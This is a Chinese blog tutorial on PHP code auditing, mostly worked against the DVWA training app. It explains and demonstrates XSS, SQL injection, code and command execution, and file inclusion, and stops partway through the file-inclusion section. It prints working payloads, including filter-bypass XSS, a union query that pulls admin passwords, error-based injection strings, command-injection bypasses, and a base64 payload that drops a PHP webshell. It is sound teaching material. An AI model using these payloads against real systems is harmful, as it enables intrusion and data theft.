zoukankan      html  css  js  c++  java
  • 代码审计入门

    前言

    最近在看php代码审计,学习下代码审计,看了不少师傅的博客,写的很好,下面不少是借鉴师傅们的,好记性不如烂笔头,记下,以后可以方便查看。

     
    php代码审计需要比较强的代码能力和足够的耐心。这篇文章是写给我这样的刚刚开始审计的菜鸟,下面如果写的哪里有错误的话,还望提出,不吝赐教。
    在这里也立个flag:一周至少审计一种CMS(大小不分),希望自己能够坚持下去,任重而道远。

    代码审计--准备

    1,先放一张大图,php代码审计的几个方向,也是容易出问题的地方,没事的时候可以多看看。

    2,代码审计也就是拿到某网站的源码,进行审计,从而发现漏洞,但是我们审计的时候并不一定要一行一行的去看吧,这样未免也太浪费时间了,所以我们需要工具进行帮助我们。当属 "Seay源代码审计系统2.1" 优先选择(静态分析,关键字查找定位代码不错,但是误报很高)。

    我们在做代码审计的时候,个人建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,然后再去找出问题的代码。

    要关注变量和函数,

    1.可以控制的变量【一切输入都是有害的 】
    2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
                                                                        ------来源t00ls
     
     
     

    代码审计--漏洞

    一,漏洞类型

    1.sql注入

    2.文件操作[上传/写入/读取/删除]
    3.文件包含
    4.命令执行
    5.xss
    6.cookie欺骗
    7.逻辑漏洞
    ........等等
     
    我们平常再进行黑盒测试时,上面的每种漏洞都有相对应的挖掘技巧,这里代码审计也是有技巧的。我们进行黑盒测试getshell的时候,往往是上面的sql注入,文件操作(上传),文件包含,命令执行相对容易getshell的。xss的话危害也很大,可以泄露内网的信息,如果的是存储型xss的话,就可以打管理员的cookie,然后进行下一步的攻击。逻辑漏洞是相对麻烦的,危害是很要命的,逻辑漏洞也分为很多种,其中一元买东西是很出彩的,这里通过修改订单进行伪造支付金额。
    所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧。
     
    二,漏洞分析
    下面我们就进行分析一下各种漏洞形成的原因吧
    1,首先我们要做好准备工作,审计环境:windows环境(Apache+MySQL+php),可以使用集成的,wampserver,phpstudy其他,我用的是wamp,这里在下载的时候不要用版本太高的,因为版本太高,会出现php语法警告以及不兼容的情况。(下一篇也就是我准备写的一个审计笔记,我平常用的wampserver,由于我的mysql的版本太高,一直安装不成功,后来又重装了一个环境(upupw),会在下一篇详细介绍)(文章里面所提到的环境和工具后面都会分享到百度云盘)。
     
     
    2,准备好了就直接上手分析吗?其实有更不错的选择,那就是----黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!这是重要的事情。我们在黑盒测试的时候,可以花费点时间,因为用的时间越多,我们对所要分析的CMS的功能更熟悉,代码审计的时候也就容易分析,比如看到搜索框,当然要看下有没有注入或者是能不能弹出来框框,以及留言板有没有xss。交互的数据很重要!
    这里有个小技巧,本地测试的时候要把输入点打印出来。
    将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。
     
    3,现在可以进行漏洞分析了,下面会写到比较常见的漏洞类型以及审计不同漏洞的技巧。
     
    XSS漏洞
    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。
     
    【反射型】

    反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

    测试代码如下:

    <?php
    echo $_GET['xssf'];
    ?>

    http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>

     
     
    可能有人会有情绪不高,因为这是自己写的,玩起来没有成就感,
    那我们可以用渗透平台 DVWA 呀(后面会分享到百度云盘,有了wampserver环境,直接把文件夹放/wamp/www/目录就可以),当然了,这里我们选择low的难度,因为好分析。我们输入<script>alert("orange")</script>,会弹出框框。如下图所示
    相关链接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert("orange")</script>#)
     

    分析如下:首先看下源码

    <?php

    // Is there any input?
    if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' $_GET'name' ] . '</pre>';
    }

    ?>

    这里我们可以清楚的看到 if 里面的php函数array_key_exists,现在不懂没关系,百度一下你就知道。

    array_key_exists(key,array)
    key 必需。规定键名。
    array 必需。规定数组。

    array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

    输入的值也就是GET得到的值是以数组的形式,然后判断GET得到的name是不是空,如果满足 if 语句,这里就会进行 if 括号里面的,echo '<pre>Hello ' $_GET'name' ] . '</pre>'; 我们可以清楚的看到,这里直接输出传的name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

    这里我们可以再进行分析一下medium中等难度下的代码

    <?php

    // Is there any input?
    if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) {
        // Get input
        $name str_replace'<script>'''$_GET'name' ] );

        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }

    ?>

    可以看到有一点上low的代码是不一样的,那就是进行了一次过滤,

    用的str_replace()函数,这个函数的功能是:以其他字符替换字符串中的一些字符(区分大小写)。

    这里的作用是替换<script>,也就是把<script>替换成空格,然后再进行输出。

    这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。

    双写绕过:输入<sc<script>ript>alert(/xss/)</script>,成功弹框。

    大小写混淆绕过:输入<ScRipt>alert(/xss/)</script>,成功弹框。这里就不截图了。

    High等级也是基于黑名单思想,进行过滤。但是我们可以通过其他标签来进行XSS。

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    代码如上,这里就不一一分析了。

    【存储型】

    存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。

    进行白盒审计前,我们先进行下黑盒测试

    输入name的时候发现,name输不了那么多了,这是我们可以右键审查元素,可以看到限制长度为10了,其实说这句话,只是想提醒一下像我这样的小白,审查元素也是一门"学问"

    name出随便输入,message处输入:<script>alert(/orange/)</script>,可以看到会弹出框框

    这是看下源码,我们分析下

    <?php

    if( isset( $_POST'btnSign' ] ) ) {
        // Get input
        $message trim$_POST'mtxMessage' ] );
        $name    trim$_POST'txtName' ] );

        // Sanitize message input
        $message stripslashes$message );
        $message mysql_real_escape_string$message );

        // Sanitize name input
        $name mysql_real_escape_string$name );

        // Update database
        $query  "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );

        //mysql_close();
    }

    ?>

    可以看到接收POST过来的参数,trim()函数是移除字符串两侧的空白字符或其他预定义字符。

    这里先进行过滤一下,把我们输入字符串两侧的空白字符和其他预定义字符给过滤掉。预定义字符包括: , ,x0B, 以及空格。

    $message = stripslashes( $message );

    然后stripslashes()函数:删除反斜杠

    然后message参数再经过mysql_real_escape_string()函数进行转义。

    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

    下列字符受影响:

    • x00
    • '
    • "
    • x1a

    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

    最后给插入数据库。这个时候我们去数据库看一下,如下图,可以看到xss代码已经插入数据库了,这也就是存储型XSS与反射性XSS的区别。

    因为我们在前端看到的都是经由数据库传过来的数据,所以会弹出框框。

    这里我最后总结一下,顺便再分析一下。

    我输入的值是:<script>alert(/orange/)</script>,首先上面的trim()函数过滤空格和预定义字符,这里对输入的值是没有影响的,所以$messsge还是<script>alert(/orange/)</script>,然后stripslashes()函数删除反斜杠,由于输入的message没有反斜杠,所以无效。$message还是<script>alert(/orange/)</script>,最后用mysql_real_escape_string()函数进行转义,上面可以清楚的看到这个函数对什么字符有影响,但是没有对$message有影响,所以这时的$_message还是<script>alert(/orange/)</script>这个时候就把$message传入数据库,也就是上图数据库中的数据。前端读取的数据的时候是从数据库中读取,因此把$message读出来,从而造成了存储型XSS漏洞。

    还有medium,high,这里就不做分析了,这里解决XSS漏洞的方法就是用htmlspecialchars函数进行编码。但是要注意的是,如果htmlspecialchars函数使用不当,

    攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。说的DOM型XSS,下面就是啦。

    【DOM】

    这个DVWA里面没有这种,这里还是我们自己动手丰衣足食吧。

    基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。

    <HTML>
    <TITLE>Welcome!</TITLE>
    Hi
    <SCRIPT>
    var pos=document.URL.indexOf("name=")+5;
    document.write(document.URL.substring(pos,document.URL.length));
    </SCRIPT>
    <BR>
    Welcome to our system

    </HTML>

    浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

    注意:

    1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

    2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

    这里可以看到我的浏览器自动转换了字符<>,所以没有弹出框,这里我们知道原理就好,IE6下没有转换<和>,所以是可以弹框框的。

    SQL注入漏洞

    sql注入是我们审计比较重视的漏洞之一

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

    首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

    现在的一般的CMS都注意到了SQL注入的严重性,所以他们对于注入都进行了一定的过滤,一般他们会用到两种过滤方法。

    01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
    $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
    要是没有intval($_GET[id]) 那就尴尬了。
    ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
    02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
    aaa’aa ==> aaa’aa
    aaaaa ==> aaa\aa
    SELECT * FROM post WHERE id=’aaa’ union select pwd from admin limit 0,1#

    下面介绍下常见的SQL注入类型,最后再用DVWA进行分析。

    漏洞(一)ip没过滤直接进到sql语句
    函数讲解:
    getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。
    getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
    当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题
     
     
    漏洞(二)宽字节注入 [对字符]
    如果发现 cms是GBK 只有看看 能不能宽字节注入
    Sqlmap 的unmagicquotes.py 可以进行宽字测试
    解决宽字节注入办法:
    mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
    到这里就一般高枕无忧了.....
    但是 要是画蛇添足得使用iconv就可能出现问题了
    有些cms:
    会加上下面语句避免乱码
    iconv('utf-8', 'gbk', $_GET['word']);
    将传入的word有utf-8转成gbk.....
    发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
    我们输入錦' -->%e5%5c%27【%5c就是】
    在经过转移------>%e5%5c%5c%27【5c%5c就是\】这样我们就可以注入了
     
     
     
     
    漏洞(三)二次注入
    攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。
    详细请看(http://www.cnblogs.com/ichunqiu/p/5852330.html)
     
     
     
    漏洞(四)文件名注入
    因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......
    有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
    乌云编号:wooyun-2010-051124
     
     
    漏洞(五)报错注入

    1、通过floor报错,注入语句如下:  

    and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2、通过ExtractValue报错,注入语句如下:

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    3、通过UpdateXml报错,注入语句如下:

    and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

    4、通过NAME_CONST报错,注入语句如下:

    and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

    5、通过join报错,注入语句如下:

    select * from(select * from mysql.user ajoin mysql.user b)c;

    6、通过exp报错,注入语句如下:

    and exp(~(select * from (select user () ) a) );

    7、通过GeometryCollection()报错,注入语句如下:

    and GeometryCollection(()select *from(select user () )a)b );

    8、通过polygon ()报错,注入语句如下:

    and polygon (()select * from(select user ())a)b );

    9、通过multipoint ()报错,注入语句如下:

    and multipoint (()select * from(select user() )a)b );

    10、通过multlinestring ()报错,注入语句如下:

    and multlinestring (()select * from(selectuser () )a)b );

    11、通过multpolygon ()报错,注入语句如下:

    and multpolygon (()select * from(selectuser () )a)b );

    12、通过linestring ()报错,注入语句如下:

    and linestring (()select * from(select user() )a)b );
     
    小技巧:
    最好可见在本地测试时候讲你的输入点打印出来
    我会将用户的输入数据进行var_dump
    重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试。
     
     
     

     DVWA分析

    SQL Injection

    选择Low级别,便于审计分析。首先我们黑盒测试一下,我们输入:

    1‘or ’1‘=’1这个时候就可以判断出存在字符型注入。

    1' or 1=1 order by 2 #   ,1' or 1=1 order by 3 #,这个时候就可以判断2个字段。下面的就不进行注入爆库了。

    这个时候看下源码分析一下。

    <?php

    if( isset( $_REQUEST'Submit' ] ) ) {
        // Get input
        $id $_REQUEST'id' ];

        // Check database
        $query  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );

        // Get results
        $num mysql_numrows$result );
        $i   0;
        while( $i $num ) {
            // Get values
            $first mysql_result$result$i"first_name" );
            $last  mysql_result$result$i"last_name" );

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

            // Increase loop count
            $i++;
        }

        mysql_close();
    }

    ?>

    可以看到,接收到submit传过来的值,id没有进行任何的检查与过滤,存在明显的SQL注入。

    选择medium级别

    代码如下

    <?php

    if( isset( $_POST'Submit' ] ) ) {
        // Get input
        $id $_POST'id' ];
        $id mysql_real_escape_string$id );

        // Check database
        $query  "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );

        // Get results
        $num mysql_numrows$result );
        $i   0;
        while( $i $num ) {
            // Display values
            $first mysql_result$result$i"first_name" );
            $last  mysql_result$result$i"last_name" );

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

            // Increase loop count
            $i++;
        }

        //mysql_close();
    }

    ?>

    可以看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

    下列字符受影响:

    • x00
    • '
    • "
    • x1a

    而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。

    抓包更改参数id1 or 1=1 #,查询成功,说明存在数字型注入。(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。),所以我们还是可以进行注入。

    选择high级别

    代码分析

    <?php

    if( isset( $_SESSION 'id' ] ) ) {
        // Get input
        $id $_SESSION'id' ];

        // Check database
        $query  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result mysql_query$query ) or die( '<pre>Something went wrong.</pre>' );

        // Get results
        $num mysql_numrows$result );
        $i   0;
        while( $i $num ) {
            // Get values
            $first mysql_result$result$i"first_name" );
            $last  mysql_result$result$i"last_name" );

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

            // Increase loop count
            $i++;
        }

        mysql_close();
    }

    ?>

    以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

    虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。这样的就又可以进行注入了。

    SQL InjectionBlind),即SQL盲注

    与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

    代码分析

    <?php

    if( isset( $_GET'Submit' ] ) ) {
        // Get input
        $id $_GET'id' ];

        // Check database
        $getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result mysql_query$getid ); // Removed 'or die' to suppress mysql errors

        // Get results
        $num = @mysql_numrows$result ); // The '@' character suppresses errors
        if( $num ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }

        mysql_close();
    }

    ?>

    可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种

    User ID exists in the database.

    User ID is MISSING from the database.

    因此这里是SQL盲注漏洞。

    输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注。这里仅作判断存在SQL注入,不进一步攻击。

    选择medium级别

    代码分析

    <?php

    if( isset( $_POST'Submit' ]  ) ) {
        // Get input
        $id $_POST'id' ];
        $id mysql_real_escape_string$id );

        // Check database
        $getid  "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result mysql_query$getid ); // Removed 'or die' to suppress mysql errors

        // Get results
        $num = @mysql_numrows$result ); // The '@' character suppresses errors
        if( $num ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }

        //mysql_close();
    }

    ?>

    可以看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

    下列字符受影响:

    • x00
    • '
    • "
    • x1a

    而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。

    抓包更改参数输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注,查询成功,说明存在注入。

    high级别

    代码分析

    <?php

    if( isset( $_COOKIE'id' ] ) ) {
        // Get input
        $id $_COOKIE'id' ];

        // Check database
        $getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result mysql_query$getid ); // Removed 'or die' to suppress mysql errors

        // Get results
        $num = @mysql_numrows$result ); // The '@' character suppresses errors
        if( $num ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Might sleep a random amount
            if( rand0) == ) {
                sleeprand2) );
            }

            // User wasn't found, so the page wasn't!
            header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }

        mysql_close();
    }

    ?>

    可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

    虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,但仍然是可以注入的。

    代码执行审计

    代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。

    代码执行注入就是 在php里面有些函数中输入的字符串参数会当做PHP代码执行。

    Eval函数在PHP手册里面的意思是:将输入的字符串编程PHP代码

    1,先写个简单的代码测试一下(很俗套的代码)

    <?php
    if(isset($_GET['orange']))
    {
        $orange=$_GET['orange'];
        eval("$orange=$orange");
    }
    //PHP  代码审计代码执行
    ?>

    直接接收orange参数,payload:?orange=phpinfo();

    下面图可以看到成功执行。


    2,再看一个,测试代码如下

    <?php
    //PHP 代码审计代码执行注入
    if(isset($_GET['orange']))
    {
        echo $regexp = $_GET['orange'];
        $String = '<php>phpinfo()</php>';
        var_dump(preg_replace("/<php>(.*?)$regexp","\1",$String));
    }
    ?>

    可以看到代码有正则preg_replace(),所以现在需要/e参数,才能进行代码执行。

    正则表达式过滤后是phpinfo(),正则表达式的意思是将String中含reg的字符串的样式去除。所以现在我们可以构造payload:?orange=</php>/e   ,现在解释一下为什么,preg_replace(),/<php>(.*?)$regexp,接收的参数构造成正则表达式/<php>(.*?)</php>/e,将$String也就是<php>phpinfo()</php>过滤成phpinfo(),这样就可以成功执行了。

     3,参数注入,测试代码如下

    <?php
    //PHP 代码审计代码执行注入
    if(isset($_GET['orange']))
    {
        echo $regexp = $_GET['orange'];
        //$String = '<php>phpinfo()</php>';
        //var_dump(preg_replace("/<php>(.*?)$regexp","\1",$String));
        preg_replace("/orange/e",$regexp,"i am orange");
    }
    ?>

    分析和上面差不多。
    直接构造payload就好:?orange=phpinfo();

     4,动态函数执行----一个超级隐蔽的后门

    测试代码

    <?php $_GET[a]($_GET[b]);?>

     仅用GET函数就构成了木马;利用方法payload:

    ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

     运行上述payload,会在同目录下生成c.php文件,里面的内容是<?php @eval($_POST[c]); ?>1,生成一句话木马。

     命令执行审计

    代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,

    一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

    反引号也是可以执行的,因为他调用了shell_exec这个函数。

    1,测试代码:

    <?php
    $orange=$_GET['orange'];
    system($orange);
    ?>

    直接GET传参,然后system()----执行shell命令也就是向dos发送一条指令

    payload:?orange=net user   查看一下电脑的用户。


    2,再演示一个popen()函数
    测试代码:
    <?php
    popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
    ?>

    只要php文件运行,就会在上述路径生成1234.txt文件,里面的内容是net user的结果。

    3,反引号命令执行

    测试代码:

    <?php
    echo `net user`;
    ?>

    直接echo ,直接就可以执行命令

    DVWA分析

    选择low级别,先进行一下黑盒测试。

    输入8.8.8.8&&net user,可以看到成功执行两条命令

    下面分析一下,相关函数介绍 

    stristr(string,search,before_search)

    stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

    php_uname(mode)

    这个函数会返回运行php的操作系统的相关描述,参数mode可取值a(此为默认,包含序列s n r v m里的所有模式),s (返回操作系统名称),n(返回主机名),r(返回版本名称),v(返回版本信息), m(返回机器类型)。

    命令连接符


    command1 && command2   先执行command1后执行command2
    command1 | command2     只执行command2
    command1 & command2    先执行command2后执行command1


    以上三种连接符在windowslinux环境下都支持
    如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。

    可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

    看下代码:

    <?php

    if( isset( $_POST'Submit' ]  ) ) {
        // Get input
        $target $_REQUEST'ip' ];

        // Determine OS and execute the ping command.
        if( stristrphp_uname's' ), 'Windows NT' ) ) {
            // Windows
            $cmd shell_exec'ping  ' $target );
        }
        else {
            // *nix
            $cmd shell_exec'ping  -c 4 ' $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }

    ?>

    上面代码可以清楚的看到,对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 8.8.8.8&&net user

    选择medium级别,先进行黑盒测试,

    发现输入:8.8.8.8&&net user,不可以用,这个时候可以去掉一个,输入:8.8.8.8&net user,是可以”成功“的。

    但是这里需要注意的是”&&”与”    &”的区别:
    Command 1&&Command 2
    先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

    Command 1&Command 2
    先执行Command 1,不管是否成功,都会执行Command 2

    这个时候我们看下代码

    <?php

    if( isset( $_POST'Submit' ]  ) ) {
        // Get input
        $target $_REQUEST'ip' ];

        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );

        // Remove any of the charactars in the array (blacklist).
        $target str_replacearray_keys$substitutions ), $substitutions$target );

        // Determine OS and execute the ping command.
        if( stristrphp_uname's' ), 'Windows NT' ) ) {
            // Windows
            $cmd shell_exec'ping  ' $target );
        }
        else {
            // *nix
            $cmd shell_exec'ping  -c 4 ' $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }

    ?>

    相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

    这个时候就可以开始利用了

    ***因为被过滤的只有”&&”与”    ;”,所以”&”不会受影响。所以可以输入:8.8.8.8&net user

    ***由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过: 8.8.8.8;&net user

    这是因为”8.8.8.8&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”8.8.8.8&;&net user” ,会成功执行。

    选择high级别,先进行黑盒测试,结果发现,好多都被过滤掉了,没关系,看下代码

    <?php

    if( isset( $_POST'Submit' ]  ) ) {
        // Get input
        $target trim($_REQUEST'ip' ]);

        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );

        // Remove any of the charactars in the array (blacklist).
        $target str_replacearray_keys$substitutions ), $substitutions$target );

        // Determine OS and execute the ping command.
        if( stristrphp_uname's' ), 'Windows NT' ) ) {
            // Windows
            $cmd shell_exec'ping  ' $target );
        }
        else {
            // *nix
            $cmd shell_exec'ping  -c 4 ' $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }

    ?>

    相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

    漏洞利用

    Command 1 | Command 2
    “|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
    黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是    ”|” 就有用了。

    输入:8.8.8.8|net user  

    下图成功执行。

    文件包含审计

     PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。

    文件包含有这么两种:本地包含(LFI)和远程包含(RFI)。,顾名思义就能理解它们的区别在哪。

    审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。

    先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。

    先写个简单的代码测试一下。

    在www目录下新建两个php文件,baohan1.php,baohan2.php

    baohan2.php代码

    <?php
    phpinfo();
    ?>

    baohan1.php

    <?php
    include("baohan2.php");
    ?>

    打开baohan1.php,可以看到成功执行baohan2.php的代码,成功把banhan2.php给包含了

    这个时候稍微修改下代码。把baohan1.php的:include("baohan2.php");改成include("baohan2.txt");

    把baohan2.php改成baohan2.txt。再次访问baihan1.php,可以看到成功包含,

    接下来将baohan2.txt文件的扩展名分别改为jpg、rar、doc、xxx进行测试,发现都可以正确显示phpinfo信息。由此可知,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。

    再来看一下远程文件包含

    当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。

    allow_url_include在默认情况下是关闭的,如果想要实验测试的话,可以去打开,但是真实环境中建议关闭。

    DVWA分析

    先选择low级别,先进行黑盒测试一下,进行包含,看到file1,file2,file3,试下file4,因为file.php存在,结果包含到了,并且提示you  are  rigjt。

    这个时候可以进一步操作,可以使用../让目录回到上级目录,以此来进行目标目录(通过多个../可以让目录回到根目录中然后再进入目标目录),

    试一下吧,?page=../../php.ini   ,除了这么多还有其他的操作等待你去挖掘。

    现在分析一下代码<?php

    // The page we wish to display
    $file $_GET'page' ];

    ?>

    可以看到直接接收page参数,没有进行任何过滤操作,所以造成文件包含漏洞。

    下面选择medium,先看下代码

    <?php

